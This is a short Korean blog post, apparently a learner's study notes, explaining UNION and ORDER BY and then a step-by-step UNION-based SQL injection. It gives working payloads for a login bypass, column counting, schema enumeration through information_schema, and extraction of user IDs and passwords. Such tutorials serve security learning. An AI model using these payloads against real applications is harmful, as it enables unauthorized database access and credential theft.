ser-ser 2024. 11. 26. 14:57
UNION 연산자는 SQL에서 두 개 이상의 SELECT 쿼리 결과를 결합하여 하나의 결과 집합으로 반환하는 데 사용됩니다 각 쿼리의 결과는 중복 없이 통합되며 두 결과 집합의 열 수와 데이터 유형이 동일해야 합니다
UNION으로 결합한 결과는 기본적으로 정렬되지 않으므로 필요시 ORDER BY를 사용하여 결과를 정렬해야 합니다
 
 
ORDER BY는 SQL 쿼리의 결과를 정렬하는 데 사용됩니다 기본적으로 오름차순으로 정렬하며 특정 열을 기준으로 정렬 조건을 설정할 수 있습니다
 
 

UNION을 활용한 SQL Injection Process

 
1. SQL Injection Entry Point


먼저 애플리케이션의 입력값이 SQL 쿼리에 주입될 수 있는 취약점을 찾습니다

  • > 로그인 창에서 ' or '1 '='1  등의 값을 입력해 비정상적인 동작을 유도하거나 해당 입력값이 SQL 쿼리에 어떻게 반영되는지 유추합니다

 

2. Column 갯수 찾기
ORDER BY를 사용해 SQL 쿼리에 몇 개의 열(Column)이 있는지 확인합니다
  • 과정 >
    1. ORDER BY 1 → 정상 실행
    2. ORDER BY 2 → 정상 실행
    3. 위 과정을 반복하다가 에러 발생
    4. 에러가 발생하기 직전의 숫자가 해당 테이블의 열 개수입니다

 

3. 출력되는 Column 위치 찾기
데이터베이스에 따라 특정 열은 HTML 응답에 출력되지 않을 수 있습니다
  • 방법 >
    • union select  1, 2, 3, 4, 5 # 를 입력하여 화면에 출력되는 값을 확인합니다
    • 예를 들어, 화면에 숫자 3이 출력된다면 3번 열이 출력 가능하다는 의미입니다
 
4. DB 이름 확인
데이터베이스 이름을 확인하기 위해 database() 함수를 사용합니다
  • 방법 >
    • union select 1,database(), 3, 4, 5 # 를 입력하면 해당 데이터베이스 이름이 출력됩니다
    • 특정 입력 필드에 select database()를 직접 입력해 출력 여부를 확인할 수도 있습니다
 
5. Table 이름 확인
테이블 이름은 information_schema.tables에서 조회할 수 있습니다
  • 특정 데이터베이스의 테이블 확인 >
    • union select 1,table_name, 3, 4, 5 from information_schema.tables where table_schema='segfault_sql' #
위 쿼리를 통해 테이블 목록을 확인할 수 있습니다

 

 

6. Column 이름 확인
테이블의 열 이름은 information_schema.columns에서 조회할 수 있습니다
  • 특정 테이블의 열 확인 >
    • union select 1,column_name, 3, 4, 5 from information_schema.columns where table_name='member' #
 

 

7. Data 추출
확인된 테이블과 열 이름을 기반으로 필요한 데이터를 추출합니다
  • >
    • union select 1, id, password, 4, 5 from Users #
이 쿼리를 통해 Users 테이블의 ID와 비밀번호 데이터를 확인할 수 있습니다